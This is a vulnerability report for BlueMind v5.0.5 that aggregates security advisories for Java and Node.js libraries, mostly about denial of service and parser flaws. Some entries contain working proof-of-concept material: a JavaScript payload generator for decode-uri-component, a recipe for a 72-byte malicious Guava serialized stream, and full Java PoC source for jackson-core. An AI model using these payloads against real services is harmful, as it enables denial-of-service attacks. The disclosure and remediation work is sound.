Xerial snappy-java before 1.1.10.9 contains an unbounded memory allocation vulnerability that allows attackers to exhaust JVM memory by declaring a large uncompressed length in compressed input. Attackers can supply a few crafted bytes to Snappy.uncompress, uncompressString, SnappyInputStream or SnappyFramedInputStream to force allocations up to 2 GB, causing OutOfMemoryError and denial of service.
BlueMind v5.0.5 - Vulnerabilities
Linked vulnerabilities (the same vulnerability under several ids, according to the EUVD) are counted once; the number in brackets counts every id.
Generated on 2026-11-07 20:41 from http://cvemanager.app.bluemind.net/cvemanager/report/5.0.5 — filtered view: only the vulnerabilities matching the selected filters are listed
To address 48 (81)
The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).
jsoup through 1.23.2, fixed in commit 862ba2f, contains an uncontrolled resource consumption vulnerability in XmlTreeBuilder that allows remote attackers to exhaust JVM heap memory by supplying a deeply nested XML document with uniquely-namespaced elements. The builder copies the entire inherited namespace map on every start element, causing quadratic time and memory complexity, which attackers can exploit to trigger an OutOfMemoryError and terminate the application.
node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.
source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the service from handling other requests.
jsoup through 1.23.2, fixed in commit 862ba2f, contains an uncontrolled resource consumption vulnerability in XmlTreeBuilder that allows remote attackers to exhaust JVM heap memory by supplying a deeply nested XML document with uniquely-namespaced elements. The builder copies the entire inherited namespace map on every start element, causing quadratic time and memory complexity, which attackers can exploit to trigger an OutOfMemoryError and terminate the application.
source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the service from handling other requests.
node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.
braces through 3.0.3 contains a stack overflow vulnerability in the recursive AST walkers that lack depth guards. Attackers can supply deeply nested brace patterns under the character limit to exhaust the call stack and terminate the Node.js process with an uncaught RangeError.
Allocation of resources without limits or throttling (CWE-770) during Java object deserialization in Google Guava versions 4.0 through 33.7.1 allows an attacker to cause a Denial of Service via OutOfMemoryError. When deserializing CompactHashMap, CompactHashSet, or MapMakerInternalMap instances, Guava eagerly allocates an array based on a caller-specified size parameter without throttling, permitting memory exhaustion from crafted serialization streams.
decode-uri-component provides a more robust alternative to decodeURIComponent. Prior to 0.5.1, decodeUriComponent in index.js falls back to customDecodeURIComponent after native decoding throws, and the fallback collects every distinct percent-encoded run before performing a full-string regular-expression replacement for each entry. Malformed input containing many distinct runs can therefore make both the number of replacements and the scanned input length grow together, causing quadratic CPU consumption and blocking the Node.js event loop; request-body inputs can reach the demonstrated size, while ordinary URL header limits reduce the practical delay. This issue is fixed in version 0.5.1.
### Summary `decodeUriComponent()` takes quadratic time on malformed input that has many distinct percent-encoded runs. A single unauthenticated request of about 224 KB can block the Node.js event loop for about 20 seconds. Version 0.5.0, the release that fixed CVE-2026-45822, is affected. ### Details When native decodeURIComponent throws, `decodeUriComponent()` falls back to `customDecodeURIComponent` (`index.js:122`). That function: 1. Scans the input for every run of percent-encoded bytes (e.g. `%C3%A5`) and stores each distinct run, with its decoded value, in a lookup table (`index.js:130-144`). 2. Runs one full-string `input.replace(new RegExp(key, 'g'), …)` per table entry (`index.js:154`). With K distinct runs in an input of length L, that's K regex compilations and K full scans of the string, so O(K·L). An attacker controls both K and L, and K grows with L. One malformed sequence such as a trailing `%zz` is enough to force the fallback path. The 0.5.0 fix for CVE-2026-45822 (`fa479da`) replaced the recursive `decode()` routine with a linear scanner, but left this replacement loop unchanged. ### Proof of concept Running the following code takes ~20 seconds. ```js import decodeUriComponent from 'decode-uri-component'; let payload = ''; for (let i = 0; i < 32000; i++) { const high = Math.floor(i / 256).toString(16).padStart(2, '0'); const low = (i % 256).toString(16).padStart(2, '0'); payload += `%${high}%${low}x`; // distinct run each iteration } payload += '%zz'; // forces the fallback decoder console.time('decode'); decodeUriComponent(payload); // ~224 KB console.timeEnd('decode'); ``` ### Impact This is an availability issue only and there's no confidentiality or integrity impact. Any application that passes untrusted input to `decodeUriComponent()`, directly or through a dependency such as `query-string`, can be made unresponsive. Because Node.js runs on one thread, one request stalls every other client. The worst case needs input well beyond URL length limits. Node's default 16 KB header limit keeps payloads passed in via a URL query string to roughly 40 ms per request. Applications that decode request bodies are fully exposed, for example form bodies parsed with `query-string.parse()`.
# CompactHashMap/CompactHashSet/MapMakerInternalMap native deserialization triggers uncontrolled memory allocation ## Summary `CompactHashMap`, `CompactHashSet`, and `MapMakerInternalMap` implement `readObject(ObjectInputStream)` by reading an attacker-controlled `elementCount` or `initialCapacity` from the stream. On the very first insertion during or after deserialization (for the `CompactHash*` collections, inside `allocArrays()`) or immediately during deserialization (for `MapMakerInternalMap`), the implementation eagerly allocates arrays sized to that full, unvalidated value (up to `CompactHashing.MAX_SIZE` = 2^30-1, ~1.07 billion, for example) before the rest of the stream's actual content has been consumed. A 72-byte malicious serialized stream containing a single tiny element can force a multi-gigabyte allocation and crash a JVM with `OutOfMemoryError`, dynamically confirmed against the current release. ## Details `CompactHashMap.readObject()` (`guava/src/com/google/common/collect/CompactHashMap.java`): ```java private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); int elementCount = stream.readInt(); if (elementCount < 0) { throw new InvalidObjectException("Invalid size: " + elementCount); } init(elementCount); for (int i = 0; i < elementCount; i++) { K key = (K) stream.readObject(); V value = (V) stream.readObject(); put(key, value); } } ``` `elementCount` is only checked for being non-negative; there is no upper bound and no relationship enforced between the declared count and how much data actually follows in the stream. `init(elementCount)` (line 251) just stores the value (clamped to `[1, CompactHashing.MAX_SIZE]`, i.e. up to 2^30-1): ```java void init(int expectedSize) { Preconditions.checkArgument(expectedSize >= 0, "Expected size must be >= 0"); this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE); } ``` The real allocation is deferred to `allocArrays()`, which fires lazily on the *first* `put()` call — i.e. after only one key/value pair has actually been read off the wire: ```java int allocArrays() { ... int expectedSize = metadata; int buckets = CompactHashing.tableSize(expectedSize); this.table = CompactHashing.createTable(buckets); setHashTableMask(buckets - 1); this.entries = new int[expectedSize]; this.keys = new Object[expectedSize]; this.values = new Object[expectedSize]; return expectedSize; } ``` With `expectedSize` near `CompactHashing.MAX_SIZE` (2^30-1), this single call allocates a hash `table` plus three `expectedSize`-length arrays — multiple gigabytes — triggered by a stream that has, at that point, only supplied one small real element. `CompactHashSet.readObject()`/`allocArrays()` have the identical shape. `CompactLinkedHashMap`/`CompactLinkedHashSet` extend these classes and inherit the same unguarded path. The problem with `MapMakerInternalMap` is similar, with [a size read from the serialized data and stored in a `MapMaker` instance](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2848-L2851) for [later user during deserialization](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2897), when [the `MapMaker` is passed back to `MapMakerInternalMap`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMaker.java#L287) and [segments are allocated](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L173-L200) by [calling `newSegment`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1143), whose implementations ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L443)) create `Segment` instances ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2019)) that [allocate arrays of the requested capacity](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1234) through [the `newTable`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1262) helper. This is the same amplification shape as the already-fixed **CVE-2018-10237** (`AtomicDoubleArray`/`CompoundOrdering`: attacker declares a large size, library eagerly allocates before validating against actual stream content). That fix rewrote `AtomicDoubleArray.readObject()` to grow an `ImmutableLongArray.Builder` incrementally per element actually read, rather than pre-allocating from the declared size — Guava's own `HashBiMap.readObject()` documents the same defensive principle explicitly in a comment: `init(16); // resist hostile attempts to allocate gratuitous heap`. `CompactHashMap`/`CompactHashSet` do not follow either of these two patterns already present elsewhere in the same codebase. **Reachability**: All classes are top-level, `implements ... Serializable`, and require no special classpath setup beyond Guava being present (near-ubiquitous on JVM backends). A native Java deserialization attacker names the class directly in a hand-crafted stream — no particular Guava factory method needs to have been used by the victim application, exactly as with the precedent CVE. ## PoC Full source and run instructions in the attached `poc-guava-compacthash-dos.zip` (Maven project, `guava:33.7.1-jre` — the current latest release — as the only dependency). The PoC: 1. Uses reflection only to legitimately obtain a `CompactHashSet` instance (it is package-private; a real attacker does not need this step, since they craft the serialized bytes directly rather than calling Guava's own serialization code). 2. Serializes one set with 1 element and one with 2 elements, diffs the two byte streams to locate the exact offset of the `elementCount` field (byte-precise, not guessed). 3. Patches that one 4-byte field in the 1-element stream from `1` to `0x3FFFFFFF` (`CompactHashing.MAX_SIZE`), leaving the rest of the 72-byte stream (one real `"A"` element) untouched. 4. Feeds the resulting 72-byte malicious stream into a plain `new ObjectInputStream(...).readObject()` call against the real, unmodified `guava-33.7.1-jre.jar`. Actual run output: ``` ### -Xmx8g (generous heap) ### Located size field at offset 63, value=1 (expected 1) Malicious stream size: 72 bytes Declared elementCount: 1073741823 (~1.07 billion) Real payload: 1 tiny string element ("A") === RESULT === Exception: java.lang.OutOfMemoryError: Java heap space Time to allocate+fail: 4013 ms Heap used before: 3 MB Heap used after (at failure point): 4103 MB JVM max heap (-Xmx): 8192 MB ### -Xmx128m (ordinary service-sized heap) ### Located size field at offset 63, value=1 (expected 1) Malicious stream size: 72 bytes Declared elementCount: 1073741823 (~1.07 billion) Real payload: 1 tiny string element ("A") === RESULT === Exception: java.lang.OutOfMemoryError: Java heap space Time to allocate+fail: 24 ms Heap used before: 4 MB Heap used after (at failure point): 2 MB JVM max heap (-Xmx): 128 MB ``` A 72-byte input forces ~4.1 GB of real allocation before failing on an 8 GB heap, and crashes a 128 MB heap in 24 ms — over 50,000x amplification between input size and forced allocation. To reproduce: `mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt && java -Xmx128m -cp "target/classes:$(cat cp.txt)" poc.Poc` ## Impact Uncontrolled resource consumption (CWE-770 / CWE-400) via native Java deserialization: any application that runs `ObjectInputStream.readObject()` on data reachable by an attacker, and has Guava on its classpath (true for a large fraction of the JVM ecosystem), can be crashed with a single ~72-byte payload, regardless of what type the application itself expected to deserialize. ## Severity CVSS 3.1: `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` — identical vector to CVE-2018-10237, the precedent this is a sibling of. Recomputed with the full formula: exploitability = 8.22×0.85×0.44×0.85×0.85 = 2.221; ISS = 1-(1×1×0.44) = 0.56; impact = 6.42×0.56 = 3.595; base = roundup(5.816) = **5.9 (Medium)**. ## Affected `com.google.guava:guava`, all editions (`-jre`/`-android`) — confirmed on the current latest release, 33.7.1-jre. `CompactHashMap`/`CompactHashSet`/`CompactLinkedHashMap`/`CompactLinkedHashSet` have had this same `readObject`/`allocArrays` shape for a long time (probably since they were added in Guava 23.6), and similarly for `MapMakerInternalMap` (which was introduced in Guava 4.0); not tested against older individual releases. ## Suggested fix Apply the same defense already used elsewhere in this codebase: either clamp the initial `init()` capacity to a small constant regardless of the declared `elementCount` (as `HashBiMap.readObject()` already does — `init(16); // resist hostile attempts to allocate gratuitous heap`) and grow incrementally as elements are actually read, or grow the backing arrays incrementally per iteration of the deserialization loop (as the fixed `AtomicDoubleArray.readObject()` does via `ImmutableLongArray.Builder`) instead of eagerly sizing to the full attacker-declared count on first insert.
### Impact The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink. When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`. ### Patches Users should upgrade to version 4.18.0. The fix applies two changes: 1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option) 2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated ### Workarounds Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.2.0 until 3.0.14, WebSocket permessage-deflate decompression is unbounded when compression is enabled. The inbound pipeline aggregates compressed frames before WebSocketClientCompressionHandler inflates them, so webSocketMaxFrameSize and webSocketMaxBufferSize do not bound decompressed output. A malicious WebSocket peer can send a small compressed message that expands to a very large Netty buffer and exhausts JVM heap. This issue is fixed in version 3.0.14.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used pem.decode(), lib/pem.js, missing END line to process the relevant input or security decision. node-forge used polynomial-time regular expressions in pem.decode(), including when searching for a matching END line and parsing encapsulated headers. An unauthenticated attacker able to supply PEM input to any high-level parser could consume excessive CPU with a long malformed message and cause denial of service. This issue is fixed in version 1.4.1.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, node-forge accepted a PKCS#12 MAC or PKCS#12 password-based encryption iteration count of zero or less. pki.pbe.generatePkcs12Key() then returned a constant key independent of the password and salt, allowing crafted PKCS#12 input processed by forge.pkcs12.pkcs12FromAsn1() to bypass password-based integrity checks. Predictable encryption keys and IVs also affected PKCS#12 PBE using pbeWithSHAAnd3-KeyTripleDES-CBC or pbewithSHAAnd40BitRC2-CBC, including shrouded key bags, encrypted SafeContents, and PKCS#8 ENCRYPTED PRIVATE KEY input processed independently by forge.pki.decryptPrivateKeyInfo(). PBES2/PBKDF2-encrypted content is unaffected. This issue is fixed in version 1.4.1.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used forge.tls.createConnection(), TLS record processing, process() to process the relevant input or security decision. node-forge processed received TLS records recursively, consuming one JavaScript stack frame per record in a single input chunk. A remote peer could send thousands of small records together and exhaust the call stack, causing an uncaught exception and denial of service. This issue is fixed in version 1.4.1.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used forge.tls.createConnection(), fragmented handshake message, interleaved record to process the relevant input or security decision. node-forge continued processing after a TLS record of another content type interrupted a fragmented handshake message. A remote peer could trigger an uncaught TypeError in process(), causing the connection or hosting process to fail. This issue is fixed in version 1.4.1.
NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates "stringified numbers" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. Matching cost therefore grows with the square of the input length. An attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). Because StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. Testing by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. The affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. The fix replaces both regular expressions with a hand-rolled single-pass scan.
UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.
TypeDeserializerBase._findDeserializer() in FasterXML jackson-databind caches the resolved deserializer under the raw, attacker-supplied type ID. When name-based polymorphism is configured with a fallback, for example @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unrecognized type ID resolves to the same fallback deserializer but is retained as its own key in the _deserializers map. That map has no configurable bound and lives for the lifetime of the type deserializer, so an attacker who can repeatedly supply fresh unknown type IDs causes monotonic memory retention across requests. The reporter observed 10,000 retained entries from 10,000 distinct unknown IDs, against a single entry for a control that repeated one unknown ID the same number of times, isolating attacker-controlled key cardinality from request volume. Exploitation requires an application that enables name-based polymorphism with a defaultImpl or equivalent fallback, accepts attacker-influenced type IDs, and reuses a long-lived ObjectMapper across requests. The fix stops caching fallback resolutions for unrecognized IDs and bounds both the number of cached entries and the length of a cacheable type ID.
Forward-reference completion for @JsonIdentityInfo object IDs in FasterXML jackson-databind performs a linear scan of the pending-reference accumulator for every resolved ID. The affected paths are CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference() and the equivalent implementation in MapDeserializer. When a document first creates N unresolved object-ID references in an identity-enabled collection or map and then defines those same IDs in reverse order, completion performs on the order of N * (N + 1) / 2 identity comparisons, so a shallow document whose size grows linearly causes quadratic CPU work during deserialization. The reporter instrumented equals() calls on the ID class and measured exactly 2,003,000 comparisons at N = 2,000, against zero comparisons in the pending-reference lookup path for an equally sized control in which every reference was already resolved. The input requires no deep nesting and no syntactically unusual JSON. Exploitation requires an application that deserializes attacker-influenced JSON into an identity-enabled collection or map. The fix replaces the repeated linear lookup with a keyed pending-reference structure.
## Status **FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through `createParser(InputStream)` produced a correctly bounded 367-character message. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java` (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree) ## Technical Analysis `UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its exception message by appending identifier characters one at a time to a bare `StringBuilder`: ```java protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) _decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = _inputData.readUnsignedByte(); } _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); } ``` There is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256) anywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the same logic does enforce it: ```java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; } ``` `ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit — this is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree. This path is additionally left with **no fallback control**: because of `[core#1570]`-related logic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through `ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no configuration an application can set to mitigate this specific path. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder ``` ## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`) ```java import com.fasterxml.jackson.core.*; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; public class PoC6_UnboundedErrorTokenStringBuilder { static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } } public static void main(String[] args) throws Exception { final long IDENTIFIER_CHAR_COUNT = 20_000_000L; System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n"); System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn); long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; long heapAfter = usedHeap(); int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT + "-character payload (unbounded)? " + (msgLen > 1_000_000)); } System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } } static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); } static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } } ``` ## Captured Evidence (actual run output) ``` Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN. === (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true === (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true ``` The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character message via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference. ## Impact Any application creating parsers via `JsonFactory.createParser(DataInput)` over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated `StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering `OutOfMemoryError` and denying service to the whole JVM process. Critically, **no available configuration mitigates this**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength` does not apply to this code path. ## Remediation 1. Add the `maxErrorTokenLength` check to the append loop in `UTF8DataInputJsonParser._reportInvalidToken()`, appending `"..."` and breaking when the limit is reached — mirroring the three other parser implementations exactly. 2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by `maxErrorTokenLength` plus a small constant. 3. Consider extracting this bounded-scan logic into a single shared helper on `ParserMinimalBase` to prevent this class of per-implementation drift recurring.
### Summary `pem.decode()`, which every node-forge API that parses PEM input uses, split messages with a regular expression that takes polynomial time on input without a matching END line, and parsed encapsulated headers with regular expressions that take quadratic time on long header lines. A remote attacker can block the Node.js event loop for seconds to minutes with a crafted input of a few tens of kilobytes. Fixed in node-forge 1.4.1. ### Details `pem.decode()` in `lib/pem.js` found PEM messages with this regular expression: /\s*-----BEGIN ([A-Z0-9- ]+)-----\r?\n?([\x21-\x7e\s]+?(?:\r?\n\r?\n))?([:A-Za-z0-9+\/=\s]+?)-----END \1-----/g The optional headers group and the body group are adjacent, lazy, and share characters (whitespace and the base64 alphabet), and the match must end with an END line whose label equals the BEGIN label (`\1`). When no such END line follows, the engine tries every split of the text between the two groups, for every label split and at every BEGIN line in the input. The work grows polynomially with the input length (roughly cubic for repeated BEGIN/END lines with mismatched labels, quadratic for a BEGIN line followed by many newlines). The encapsulated header parsing in the same function had two smaller quadratic cases: trimming each header line with `/\s+$/`, and an unanchored header regex `([\x21-\x7e]+):...` that retries at every position of a long line without a colon. These are reachable when a message does match. All PEM entry points call `pem.decode()`, including `pki.certificateFromPem()`, `pki.privateKeyFromPem()`, `pki.publicKeyFromPem()`, `pki.certificationRequestFromPem()`, `pki.encryptedPrivateKeyFromPem()`, `pki.decryptRsaPrivateKey()` and `pkcs7.messageFromPem()`. The fix replaces the message regular expression with a scanner that indexes the END lines once and matches each BEGIN line in linear time, finding the same messages as before. The one difference: a label containing `-----` (`-----BEGIN A-----B-----`) was matched as `A-----B` if possible; now only the shortest label, `A`, is used. 